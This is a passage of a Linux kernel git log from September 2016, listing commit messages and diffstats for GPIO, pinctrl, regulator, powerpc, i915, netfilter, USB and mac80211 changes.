from the file header, put in "GPL". Reported-by: Stephen Rothwell Cc: Alistair Popple Cc: Jeremy Kerr Cc: Andrew Jeffery Acked-by: Joel Stanley Signed-off-by: Linus Walleij drivers/gpio/gpio-aspeed.c | 1 + 1 file changed, 1 insertion(+) commit 2ca342d391e3d8b56ed64626db8cfba8101b7c1d Author: Chen-Yu Tsai Date: Sat Aug 27 15:55:39 2016 +0800 regulator: axp20x: Support AXP806 variant The X-Powers AXP806 PMIC has a new set of buck and LDO regulators, and also a switch. The buck regulators support teaming into multi-phase groups, with A+B, A+B+C, D+E groupings. Some registers controlling DCDC converter work settings are at different offsets. Deal with them as well. Add support for this new variant. Signed-off-by: Chen-Yu Tsai Acked-by: Mark Brown Signed-off-by: Lee Jones drivers/regulator/axp20x-regulator.c | 118 ++++++++++++++++++++++++++++++++--- 1 file changed, 111 insertions(+), 7 deletions(-) commit 9b5fb0ca5d512fc28369484a4d03d376d0b17e39 Author: Martin Blumenstingl Date: Sun Sep 11 14:39:02 2016 +0200 pinctrl: meson-gxbb: add the missing SDIO interrupt pin This adds the SDIO interrupt pin which can be used by sd_emmc_a. Signed-off-by: Martin Blumenstingl Suggested-by: Neil Armstrong Fixes: 29885a656511 ("pinctrl: meson-gxbb: add the pins for the SDIO/sd_emmc_a controller") Acked-by: Kevin Hilman Signed-off-by: Linus Walleij drivers/pinctrl/meson/pinctrl-meson-gxbb.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 40918e0bb81be02f507a941f8b2741f0dc1771b0 Author: Rodrigo Vivi Date: Wed Sep 7 17:42:31 2016 -0700 Revert "drm/i915/psr: Make idle_frames sensible again" This reverts commit 1c80c25fb622973dd135878e98d172be20859049 Author: Daniel Vetter Date: Wed May 18 18:47:12 2016 +0200 drm/i915/psr: Make idle_frames sensible again There are panels that needs 4 idle frames before entering PSR, but VBT is unproperly set. Also lately it was identified that idle frame count calculated at HW can be off by 1, what makes the minimum of 2, at least. Without the current vbt+1 we are with the risk of having HW calculating 0 idle frames and entering PSR when it shouldn't. Regardless the lack of link training. [Jani: there is some disagreement on the explanation, but the commit regresses so revert it is.] References: http://marc.info/?i=20160904191153.GA2328@light.dominikbrodowski.net Cc: Dominik Brodowski Cc: Jani Nikula Cc: Daniel Vetter Signed-off-by: Rodrigo Vivi Fixes: 1c80c25fb622 ("drm/i915/psr: Make idle_frames sensible again") Cc: drm-intel-fixes@lists.freedesktop.org # v4.8-rc1+ Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473295351-8766-1-git-send-email-rodrigo.vivi@intel.com drivers/gpu/drm/i915/intel_psr.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 14e2dee0996f51e0ff0d868497c7e1b90f012665 Author: Laura Garcia Liebana Date: Tue Sep 13 10:21:46 2016 +0200 netfilter: nft_hash: fix hash overflow validation The overflow validation in the init() function establishes that the maximum value that the hash could reach is less than U32_MAX, which is likely to be true. The fix detects the overflow when the maximum hash value is less than the offset itself. Fixes: 70ca767ea1b2 ("netfilter: nft_hash: Add hash offset value") Reported-by: Liping Zhang Signed-off-by: Laura Garcia Liebana Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_hash.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0a1e005374910180c30247386992565b05109eac Author: Mika Westerberg Date: Mon Sep 12 14:29:51 2016 +0300 gpiolib: Forbid irqchip default trigger for ACPI enumerated devices Follow DT and forbid default trigger if the GPIO irqchip device is enumerated from ACPI. Triggering for these devices will be configured automatically from ACPI interrupt resources provided by the BIOS. Suggested-by: Linus Walleij Signed-off-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 55956035266d8f5d825f30add0d7af3850cca0ad Author: Arnd Bergmann Date: Fri Sep 9 11:26:50 2016 +0200 pinctrl: aspeed: fix regmap error handling The newly added aspeed driver tries to check for a negative return value from a pinctrl function, but stores the intermediate value in a 'bool' variable, which cannot work: drivers/pinctrl/aspeed/pinctrl-aspeed.c: In function 'aspeed_sig_expr_set': drivers/pinctrl/aspeed/pinctrl-aspeed.c:192:11: error: comparison of constant '0' with boolean expression is always false [-Werror=bool-compare] This slightly reworks the logic to use an explicit comparison with zero before assigning to the temporary variable. Reported-by: Colin King Signed-off-by: Arnd Bergmann Acked-by: Joel Stanley Reviewed-by: Andrew Jeffery Signed-off-by: Linus Walleij drivers/pinctrl/aspeed/pinctrl-aspeed.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 03e9888f955cc0950a15713a93af8946c56a37bb Author: Julia Lawall Date: Sun Sep 11 14:14:39 2016 +0200 pinctrl: mediatek: constify gpio_chip structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct gpio_chip i@p = { ... }; @ok@ identifier r.i; expression e; position p; @@ e = i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct gpio_chip e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct gpio_chip i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Linus Walleij drivers/pinctrl/mediatek/pinctrl-mtk-common.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d9048cdbc9ed3103eef95adfe29f6482d23b1316 Author: Julia Lawall Date: Sun Sep 11 14:14:40 2016 +0200 pinctrl: stm32: constify gpio_chip structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct gpio_chip i@p = { ... }; @ok@ identifier r.i; expression e; position p; @@ e = i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct gpio_chip e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct gpio_chip i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Linus Walleij drivers/pinctrl/stm32/pinctrl-stm32.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e35b5ab0a706f3794d35652b557a5e6a4dde5391 Author: Julia Lawall Date: Sun Sep 11 14:14:37 2016 +0200 gpio: constify gpio_chip structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct gpio_chip i@p = { ... }; @ok@ identifier r.i; expression e; position p; @@ e = i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct gpio_chip e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct gpio_chip i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Joachim Eastwood Signed-off-by: Linus Walleij drivers/gpio/gpio-arizona.c | 2 +- drivers/gpio/gpio-bcm-kona.c | 2 +- drivers/gpio/gpio-da9052.c | 2 +- drivers/gpio/gpio-da9055.c | 2 +- drivers/gpio/gpio-it87.c | 2 +- drivers/gpio/gpio-lp873x.c | 2 +- drivers/gpio/gpio-lpc18xx.c | 2 +- drivers/gpio/gpio-pisosr.c | 2 +- drivers/gpio/gpio-sch.c | 2 +- drivers/gpio/gpio-stmpe.c | 2 +- drivers/gpio/gpio-tc3589x.c | 2 +- drivers/gpio/gpio-tpic2810.c | 2 +- drivers/gpio/gpio-tps65086.c | 2 +- drivers/gpio/gpio-tps65218.c | 2 +- drivers/gpio/gpio-tps65912.c | 2 +- drivers/gpio/gpio-ts4900.c | 2 +- drivers/gpio/gpio-twl4030.c | 2 +- drivers/gpio/gpio-wm831x.c | 2 +- drivers/gpio/gpio-wm8350.c | 2 +- drivers/gpio/gpio-wm8994.c | 2 +- 20 files changed, 20 insertions(+), 20 deletions(-) commit 9d99c41a126124b35b69ff9737d7ba12df3eaa97 Author: Wei Yongjun Date: Sat Sep 10 12:04:42 2016 +0000 gpio: lp873x: Use devm_gpiochip_add_data() for gpio registration Use devm_gpiochip_add_data() for GPIO registration and remove the need of driver callback .remove. Signed-off-by: Wei Yongjun Signed-off-by: Linus Walleij drivers/gpio/gpio-lp873x.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) commit 2e68023971477707962143c6d6f5c8620af1342f Merge: eb89941 f618ed2 Author: Linus Walleij Date: Tue Sep 13 10:31:59 2016 +0200 Merge tag 'ib-mfd-gpio-regulator-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/mfd into devel Immutable branch between MFD, GPIO and Regulator due for the v4.9 merge window commit eb8994172a45029f3f589fd6b2bd5d54e5b6e036 Merge: 313b9a9 694d0d0 Author: Linus Walleij Date: Tue Sep 13 10:31:40 2016 +0200 Merge tag 'v4.8-rc2' into devel Linux 4.8-rc2 commit e084448b5d26bfebe8a7b9c43bb57e685567563d Author: Agrawal, Nitesh-kumar Date: Fri Sep 9 15:18:09 2016 +0000 pinctrl/amd: switch to using a bool for level The earlier patch can be simplified by using a bool to indicate level trigger. Reviewed-by: Pankaj Sen Signed-off-by: Nitesh Kumar Agrawal [Fixup to earlier manually applied patch] Signed-off-by: Linus Walleij drivers/pinctrl/pinctrl-amd.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 0eb9f683336d7eb99a3b75987620417c574ffb57 Author: Alexandre TORGUE Date: Fri Sep 9 16:42:01 2016 +0200 pinctrl: Add IRQ support to STM32 gpios This patch adds IRQ support to STM32 gpios. The EXTI controller has 16 lines dedicated to GPIOs. EXTI line n can be connected to only line n of one of the GPIO ports, for example EXTI0 can be connected to either PA0, or PB0, or PC0... This port selection is done by specifying the port number into System Config registers. Signed-off-by: Maxime Coquelin Signed-off-by: Alexandre TORGUE Signed-off-by: Linus Walleij drivers/pinctrl/stm32/Kconfig | 1 + drivers/pinctrl/stm32/pinctrl-stm32.c | 163 +++++++++++++++++++++++++++++++++- 2 files changed, 163 insertions(+), 1 deletion(-) commit 23fb16194b95089b3cf5eb88d446662ee7da0f43 Author: Alexandre TORGUE Date: Fri Sep 9 16:42:00 2016 +0200 pinctrl: Add IRQ related DT properties of STM32 pinctrl Signed-off-by: Maxime Coquelin Acked-by: Rob Herring Signed-off-by: Alexandre TORGUE Signed-off-by: Linus Walleij Documentation/devicetree/bindings/pinctrl/st,stm32-pinctrl.txt | 3 +++ 1 file changed, 3 insertions(+) commit e1c0d66fcb179a1737b3d5cc11c6e37bcabbd861 Author: Simon Guo Date: Tue Jul 26 16:06:01 2016 +0800 powerpc: Set used_(vsr|vr|spe) in sigreturn path when MSR bits are active Normally, when MSR[VSX/VR/SPE] bits == 1, the used_vsr/used_vr/used_spe bit have already been set. However when loading a signal frame from user space we need to explicitly set used_vsr/used_vr/used_spe to make them consistent with the MSR bits from the signal frame. For example, CRIU application, who utilizes sigreturn to restore checkpointed process, will lead to the case where MSR[VSX] bit is active in signal frame, but used_vsr bit is not set in the kernel. (the same applies to VR/SPE). This patch fixes this by always setting used_* bit when MSR related bits are active in signal frame and we are doing sigreturn. Based on a proposal by Benh. Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Simon Guo [mpe: Massage change log] Signed-off-by: Michael Ellerman arch/powerpc/kernel/signal_32.c | 6 ++++++ arch/powerpc/kernel/signal_64.c | 11 ++++++++--- 2 files changed, 14 insertions(+), 3 deletions(-) commit 261831160d4df6bafe2f0e12e6de9e5731519e06 Author: Simon Guo Date: Sun Sep 11 21:44:13 2016 +0800 powerpc/ptrace: Fix cppcheck issue in gpr32_set_common/gpr32_get_common() The ckpt_regs usage in gpr32_set_common/gpr32_get_common() will lead to following cppcheck error at ifndef CONFIG_PPC_TRANSACTIONAL_MEM case: [arch/powerpc/kernel/ptrace.c:2062]: (error) Uninitialized variable: ckpt_regs [arch/powerpc/kernel/ptrace.c:2130]: (error) Uninitialized variable: ckpt_regs The problem is due to gpr32_set_common() used ckpt_regs variable which only makes sense at #ifdef CONFIG_PPC_TRANSACTIONAL_MEM. This patch fix this issue by passing in "regs" parameter instead. Reported-by: Daniel Axtens Signed-off-by: Simon Guo Signed-off-by: Michael Ellerman arch/powerpc/kernel/ptrace.c | 74 +++++++++++++++++--------------------------- 1 file changed, 29 insertions(+), 45 deletions(-) commit b135077b83f01549c2a0685b16b540254ce60e0f Author: Frederic Barrat Date: Mon Sep 12 12:37:43 2016 +0200 cxl: Fix informational message When set_sl_ops() is called, the adapter data structure is not fully initialized yet. Therefore the device name is not showing up in the trace. Fix is simply to get the device name from the pci_dev structure. Fixes: 6d382616ac22 ("cxl: Abstract the differences between the PSL and XSL") Signed-off-by: Frederic Barrat Signed-off-by: Michael Ellerman drivers/misc/cxl/pci.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3daf3c206992891ac0cec6a54a893521064a7674 Author: Colin Ian King Date: Mon Sep 12 11:12:24 2016 +0100 powerpc/32: Add missing \n and switch to pr_warn() The message is missing a \n, add it. Switch to pr_warn(), it's shorter and less ugly. Signed-off-by: Colin Ian King Signed-off-by: Michael Ellerman arch/powerpc/mm/init_32.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ad410674f5606a53ea2f2d45a78448a95e271fa0 Author: Aneesh Kumar K.V Date: Wed Aug 24 15:03:39 2016 +0530 powerpc/mm: Update the HID bit when switching from radix to hash Power9 DD1 requires to update the hid0 register when switching from hash to radix. Signed-off-by: Aneesh Kumar K.V Acked-by: Michael Neuling Signed-off-by: Michael Ellerman arch/powerpc/include/asm/reg.h | 3 +++ arch/powerpc/mm/hash_utils_64.c | 25 +++++++++++++++++++++++++ arch/powerpc/mm/pgtable-radix.c | 28 ++++++++++++++++++++++++++++ 3 files changed, 56 insertions(+) commit c6d1a767b9eaa74f0969378ec47791ff8318a65c Author: Aneesh Kumar K.V Date: Wed Aug 24 15:03:38 2016 +0530 powerpc/mm/radix: Use different pte update sequence for different POWER9 revs POWER9 DD1 requires pte to be marked invalid (V=0) before updating it with the new value. This makes this distinction for the different revisions. Signed-off-by: Aneesh Kumar K.V Acked-by: Michael Neuling Signed-off-by: Michael Ellerman arch/powerpc/include/asm/book3s/32/pgtable.h | 3 +- arch/powerpc/include/asm/book3s/64/pgtable.h | 5 +- arch/powerpc/include/asm/book3s/64/radix.h | 75 ++++++++++++++++++++++------ arch/powerpc/include/asm/nohash/32/pgtable.h | 3 +- arch/powerpc/include/asm/nohash/64/pgtable.h | 3 +- arch/powerpc/mm/pgtable-book3s64.c | 2 +- arch/powerpc/mm/pgtable.c | 2 +- 7 files changed, 71 insertions(+), 22 deletions(-) commit 694c4951922d114e789f669deb409b2aef440ae9 Author: Aneesh Kumar K.V Date: Wed Aug 24 15:03:37 2016 +0530 powerpc/mm/radix: Use different RTS encoding for different POWER9 revs POWER9 DD1 uses RTS - 28 for the RTS value but other revisions use RTS - 31. This makes this distinction for the different revisions Signed-off-by: Aneesh Kumar K.V Acked-by: Michael Neuling Signed-off-by: Michael Ellerman arch/powerpc/include/asm/book3s/64/radix.h | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 7dccfbc325bb59f94521d544a8ae12148622b4f2 Author: Aneesh Kumar K.V Date: Wed Aug 24 15:03:36 2016 +0530 powerpc/book3s: Add a cpu table entry for different POWER9 revs Signed-off-by: Aneesh Kumar K.V Acked-by: Michael Neuling Signed-off-by: Michael Ellerman arch/powerpc/include/asm/cputable.h | 4 +++- arch/powerpc/kernel/cputable.c | 19 +++++++++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) commit 687e16bc2f9231334942cc41febc27d666b07299 Author: Darren Stevens Date: Wed Aug 31 13:24:45 2016 +0100 powerpc/pasemi: Fix device_type of Nemo SB600 node. The of_node for the SB600 (io-bridge) has its device_type set to 'io-bridge' Set it to 'isa' so that it can be found by isa_bridge_find_early() instead of using patches in the kernel. Signed-off-by: Darren Stevens Signed-off-by: Michael Ellerman arch/powerpc/kernel/prom_init.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 50246787655d41faea35a83031c47c429144d531 Author: Darren Stevens Date: Wed Aug 31 13:24:40 2016 +0100 powerpc/pasemi: Fix Nemo SB600 i8259 interrupts. The device tree on the Nemo passes all of the i8259 interrupts with numbers between 212 and 222, and points their interrupt-parent property to the pasemi-opic, requiring custom patches to the kernel. Fix the values so that they can be controlled by the generic ppc i8259 code. Signed-off-by: Darren Stevens [mpe: Rework deeply nested if and boundary checks] Signed-off-by: Michael Ellerman arch/powerpc/kernel/prom_init.c | 65 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) commit 88c13e2f4f0487a67f9eed044b56f2a373fbfbcd Author: Darren Stevens Date: Wed Aug 31 13:24:34 2016 +0100 powerpc/pasemi: Add Nemo motherboard config option. Add config option for the Nemo motherboard used in the Amigaone X1000. This is a custom PASemi board with an AMD SB600 southbridge, and needs some patches to it device tree. This option will be used to build these into the kernel Signed-off-by: Darren Stevens Signed-off-by: Michael Ellerman arch/powerpc/platforms/pasemi/Kconfig | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 63019f3cab99c7acd27df5a5b86dc0d44c6cab1f Author: PrasannaKumar Muralidharan Date: Tue Sep 6 13:58:39 2016 +0530 hwrng: pasemi-rng - Use linux/io.h instead of asm/io.h Checkpatch.pl warns about usage of asm/io.h. Use linux/io.h instead. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Michael Ellerman drivers/char/hw_random/pasemi-rng.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6f95d4b2f655faaf38804999de04499e3ec12bc1 Author: Colin Ian King Date: Sun Aug 28 11:59:00 2016 +0100 powerpc/ps3: fix spelling mistake in function name Trivial fix to spelling mistake in dev_warn message and remove extraneous trailing whitespace at end of the message. Signed-off-by: Colin Ian King Signed-off-by: Michael Ellerman arch/powerpc/platforms/ps3/device-init.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 57073e27816f1f4215e372fa548f19bef300a6d7 Author: Michael Ellerman Date: Thu Aug 11 16:03:15 2016 +1000 powerpc/Makefile: Construct the UTS_MACHINE value more concisely Use the standard Kbuild trick of foo-y to make the construction of UTC_MACHINE less verbose. Signed-off-by: Michael Ellerman arch/powerpc/Makefile | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) commit 68201fbbb04a030864f8560b05d43d8019f7f8df Author: Michael Ellerman Date: Thu Aug 11 16:03:14 2016 +1000 powerpc/Makefile: Drop CONFIG_WORD_SIZE for BITS Commit 2578bfae84a7 ("[POWERPC] Create and use CONFIG_WORD_SIZE") added CONFIG_WORD_SIZE, and suggests that other arches were going to do likewise. But that never happened, powerpc is the only architecture which uses it. So switch to using a simple make variable, BITS, like x86, sh, sparc and tile. It is also easier to spell and simpler, avoiding any confusion about whether it's defined due to ordering of make vs kconfig. Signed-off-by: Michael Ellerman arch/powerpc/Kconfig | 5 ----- arch/powerpc/Makefile | 25 +++++++++++++++---------- arch/powerpc/kernel/Makefile | 15 +++++++-------- arch/powerpc/lib/Makefile | 2 +- arch/powerpc/mm/Makefile | 7 +++---- 5 files changed, 26 insertions(+), 28 deletions(-) commit 6abe248e16095547080d54c31b19f4a20319a217 Author: Michael Ellerman Date: Thu Aug 11 16:03:13 2016 +1000 powerpc/boot: Use $(Q) to quiet build rules not @ Some of the rules in the boot Makefile use @ to hide the command, this means "make V=1" doesn't show them, which is confusing. So use the Kbuild standard $(Q) which means KBUILD_VERBOSE=1 or V=1 will work as expected. Signed-off-by: Michael Ellerman arch/powerpc/boot/Makefile | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 2ca07d7c4f7e4f69aabd6cd4124fb8ca17b9ea27 Author: Michael Ellerman Date: Thu Aug 11 16:03:12 2016 +1000 powerpc/vdso64: Drop vdso64as We can just use the standard .S -> .o rule, cmd_as_o_S. Signed-off-by: Michael Ellerman arch/powerpc/kernel/vdso64/Makefile | 6 ------ 1 file changed, 6 deletions(-) commit d312603a44eb9dc0dbb0a642a61899bac188ab71 Author: Michael Ellerman Date: Thu Aug 11 16:03:11 2016 +1000 powerpc/Makefile: CROSS32AS is unused, remove it In fact it makes no sense at all to have this defined on little endian builds. Since we disabled the 32-bit VDSO on little endian, we don't build any 32-bit code when building a little endian kernel. Signed-off-by: Michael Ellerman arch/powerpc/Makefile | 1 - 1 file changed, 1 deletion(-) commit d8d42b0511fefc78165ee9b4c2d95f5d6db7350d Author: Michael Ellerman Date: Tue Jul 26 15:29:30 2016 +1000 powerpc/64: Do load of PACAKBASE in LOAD_HANDLER The LOAD_HANDLER macro requires that you have previously loaded "reg" with PACAKBASE. Although that gives callers flexibility to get PACAKBASE in some interesting way, none of the callers actually do that. So fold the load of PACAKBASE into the macro, making it simpler for callers to use correctly. Signed-off-by: Michael Ellerman Reviewed-by: Nick Piggin Signed-off-by: Michael Ellerman arch/powerpc/include/asm/exception-64s.h | 3 +-- arch/powerpc/kernel/exceptions-64s.S | 12 ------------ 2 files changed, 1 insertion(+), 14 deletions(-) commit 27510235dd2bb1ab01d27b01f0b6180eb47aa003 Author: Michael Ellerman Date: Tue Jul 26 15:29:29 2016 +1000 powerpc/64: Correct comment on LOAD_HANDLER() The comment for LOAD_HANDLER() was wrong. The part about kdump has not been true since 1f6a93e4c35e ("powerpc: Make it possible to move the interrupt handlers away from the kernel"). Describe how it currently works, and combine the two separate comments into one. Signed-off-by: Michael Ellerman Reviewed-by: Nick Piggin Signed-off-by: Michael Ellerman arch/powerpc/include/asm/exception-64s.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f0f558b131db0e793fd90aac5d93f694362973d2 Author: Paul Mackerras Date: Fri Sep 2 21:49:21 2016 +1000 powerpc/mm: Preserve CFAR value on SLB miss caused by access to bogus address Currently, if userspace or the kernel accesses a completely bogus address, for example with any of bits 46-59 set, we first take an SLB miss interrupt, install a corresponding SLB entry with VSID 0, retry the instruction, then take a DSI/ISI interrupt because there is no HPT entry mapping the address. However, by the time of the second interrupt, the Come-From Address Register (CFAR) has been overwritten by the rfid instruction at the end of the SLB miss interrupt handler. Since bogus accesses can often be caused by a function return after the stack has been overwritten, the CFAR value would be very useful as it could indicate which function it was whose return had led to the bogus address. This patch adds code to create a full exception frame in the SLB miss handler in the case of a bogus address, rather than inserting an SLB entry with a zero VSID field. Then we call a new slb_miss_bad_addr() function in C code, which delivers a signal for a user access or creates an oops for a kernel access. In the latter case the oops message will show the CFAR value at the time of the access. In the case of the radix MMU, a segment miss interrupt indicates an access outside the ranges mapped by the page tables. Previously this was handled by the code for an unrecoverable SLB miss (one with MSR[RI] = 0), which is not really correct. With this patch, we now handle these interrupts with slb_miss_bad_addr(), which is much more consistent. Signed-off-by: Paul Mackerras Reviewed-by: Aneesh Kumar K.V Signed-off-by: Michael Ellerman arch/powerpc/kernel/exceptions-64s.S | 40 ++++++++++++++++++++++++++++++------ arch/powerpc/kernel/traps.c | 12 +++++++++++ arch/powerpc/mm/slb_low.S | 8 +++----- 3 files changed, 49 insertions(+), 11 deletions(-) commit b42d9023a31e384504f5b53fc9a437d5536a3f63 Author: Michael Ellerman Date: Fri Sep 9 14:01:07 2016 +1000 powerpc/xmon: Don't use ld on 32-bit In commit 31cdd0c39c75 ("powerpc/xmon: Fix SPR read/write commands and add command to dump SPRs") I added two uses of the "ld" instruction in spr_access.S. "ld" is a 64-bit instruction, so shouldn't be used on 32-bit CPUs. Replace it with PPC_LL which is a macro that gives us either "ld" or "lwz" depending on whether we're 64 or 32-bit. Fixes: 31cdd0c39c75 ("powerpc/xmon: Fix SPR read/write commands and add command to dump SPRs") Cc: stable@vger.kernel.org # v4.7+ Reported-by: John Paul Adrian Glaubitz Signed-off-by: Michael Ellerman arch/powerpc/xmon/spr_access.S | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0545d5436aefddff7ca417adc1a431c108403a35 Author: Daniel Axtens Date: Tue Sep 6 15:32:43 2016 +1000 powerpc/sparse: Add more assembler prototypes Another set of things that are only called from assembler and so need prototypes to keep sparse happy. Signed-off-by: Daniel Axtens Signed-off-by: Michael Ellerman arch/powerpc/include/asm/asm-prototypes.h | 37 +++++++++++++++++++++++++++++++ arch/powerpc/kernel/irq.c | 1 + arch/powerpc/kernel/process.c | 1 + arch/powerpc/kernel/prom_init.c | 1 + arch/powerpc/kernel/ptrace.c | 1 + arch/powerpc/kernel/signal_32.c | 1 + arch/powerpc/kernel/signal_64.c | 1 + arch/powerpc/kernel/syscalls.c | 1 + arch/powerpc/kernel/time.c | 1 + 9 files changed, 45 insertions(+) commit d8bced27be25537bde3714cbdb34ccece81f6a0d Author: Daniel Axtens Date: Tue Sep 6 15:32:42 2016 +1000 powerpc/fadump: Set core e_flags using kernel's ELF ABI version Firmware Assisted Dump is a facility to dump kernel core with assistance from firmware. As part of this process the kernel ELF ABI version is stored in the core file. Currently fadump.h defines this to 0 if it is not already defined. This clashes with a define in elf.h which sets it based on the current task - not based on the kernel's ELF ABI version. Use the compiler-provided #define _CALL_ELF which tells us the ELF ABI version of the kernel to set e_flags, this matches what binutils does. Remove the definition in fadump.h, which becomes unused. Signed-off-by: Daniel Axtens Reviewed-by: Mahesh Salgaonkar Signed-off-by: Michael Ellerman arch/powerpc/include/asm/fadump.h | 4 ---- arch/powerpc/kernel/fadump.c | 6 +++++- 2 files changed, 5 insertions(+), 5 deletions(-) commit 7c98bd72081c44670e2d0b60aed364180ebc0611 Author: Daniel Axtens Date: Tue Sep 6 15:32:40 2016 +1000 powerpc/sparse: Make a bunch of things static Squash a bunch of sparse warnings by making things static. Reviewed-by: Andrew Donnellan Signed-off-by: Daniel Axtens Signed-off-by: Michael Ellerman arch/powerpc/kernel/module.c | 2 +- arch/powerpc/kernel/nvram_64.c | 2 +- arch/powerpc/oprofile/cell/spu_profiler.c | 2 +- arch/powerpc/oprofile/cell/spu_task_sync.c | 4 ++-- arch/powerpc/perf/core-book3s.c | 2 +- arch/powerpc/perf/hv-gpci.c | 2 +- arch/powerpc/perf/power7-pmu.c | 2 +- arch/powerpc/perf/power8-pmu.c | 2 +- arch/powerpc/perf/power9-pmu.c | 2 +- arch/powerpc/platforms/cell/cbe_regs.c | 2 +- arch/powerpc/platforms/cell/iommu.c | 2 +- arch/powerpc/platforms/cell/ras.c | 2 +- arch/powerpc/platforms/maple/setup.c | 4 ++-- arch/powerpc/platforms/pasemi/gpio_mdio.c | 4 ++-- arch/powerpc/platforms/pasemi/iommu.c | 2 +- arch/powerpc/platforms/pasemi/setup.c | 4 ++-- arch/powerpc/platforms/powermac/pfunc_core.c | 2 +- arch/powerpc/platforms/powermac/smp.c | 2 +- arch/powerpc/platforms/powernv/npu-dma.c | 2 +- arch/powerpc/platforms/pseries/dlpar.c | 4 ++-- arch/powerpc/platforms/pseries/scanlog.c | 2 +- arch/powerpc/sysdev/mmio_nvram.c | 2 +- 22 files changed, 27 insertions(+), 27 deletions(-) commit e6be244a83211f3a9daaf5e29ee97fe0bf1efe5a Author: Arnd Bergmann Date: Mon Sep 12 17:34:57 2016 +0200 usb: gadget: uvc: add V4L2 dependency Building the UVC gadget into the kernel fails to build when CONFIG_VIDEO_V4L2 is a loadable module: drivers/usb/gadget/function/usb_f_uvc.o: In function `uvc_function_ep0_complete': uvc_configfs.c:(.text.uvc_function_ep0_complete+0x84): undefined reference to `v4l2_event_queue' drivers/usb/gadget/function/usb_f_uvc.o: In function `uvc_function_disable': uvc_configfs.c:(.text.uvc_function_disable+0x34): undefined reference to `v4l2_event_queue' Adding a dependency in USB_CONFIGFS_F_UVC (which is a bool symbol) make the 'select USB_F_UVC' statement turn the USB_F_UVC into 'm' whenever CONFIG_VIDEO_V4L2=m too, avoiding the link failure. Signed-off-by: Arnd Bergmann Signed-off-by: Felipe Balbi drivers/usb/gadget/Kconfig | 1 + 1 file changed, 1 insertion(+) commit b281dc630b41cd5d0c8600ffb3230ef9dc222b30 Author: Felipe Balbi Date: Mon Sep 12 21:24:58 2016 +0300 usb: dwc3: of-simple: add compatible for Cavium Add necessary compatible flag for Cavium's DWC3 so dwc3-of-simple will probe. Tested-by: Steven J. Hill Signed-off-by: Felipe Balbi .../devicetree/bindings/usb/dwc3-cavium.txt | 28 ++++++++++++++++++++++ drivers/usb/dwc3/dwc3-of-simple.c | 1 + 2 files changed, 29 insertions(+) commit 11d62caf93cf12ce80ff8304849887666ec8880a Author: Johannes Berg Date: Tue Sep 13 08:28:22 2016 +0200 mac80211: simplify TDLS RA lookup smatch pointed out that the second check of "tdls_auth" was pointless since if it was true, we returned from the function already. We can further simplify the code by moving the first check (if it's a TDLS peer at all) into the outer if, to only handle that inside. This simplifies the control flow here. Signed-off-by: Johannes Berg net/mac80211/tx.c | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) commit 8d51dbb8c7fb5412f0935c20f66e27d2c63ef4a0 Author: Toke Høiland-Jørgensen Date: Mon Sep 12 15:55:43 2016 +0200 mac80211: Re-structure aqm debugfs output and keep CoDel stats per txq Currently the 'aqm' stats in mac80211 only keeps overlimit drop stats, not CoDel stats. This moves the CoDel stats into the txqi structure to keep them per txq in order to show them in debugfs. In addition, the aqm debugfs output is restructured by splitting it up into three files: One global per phy, one per netdev and one per station, in the appropriate directories. The files are all called aqm, and are only created if the driver supports the wake_tx_queue op (rather than emitting an error on open as previously). Signed-off-by: Toke Høiland-Jørgensen Signed-off-by: Johannes Berg net/mac80211/debugfs.c | 151 ++++++++---------------------------------- net/mac80211/debugfs_netdev.c | 37 ++++++++++- net/mac80211/debugfs_sta.c | 52 +++++++++++++++ net/mac80211/ieee80211_i.h | 2 +- net/mac80211/tx.c | 4 +- 5 files changed, 117 insertions(+), 129 deletions(-) commit 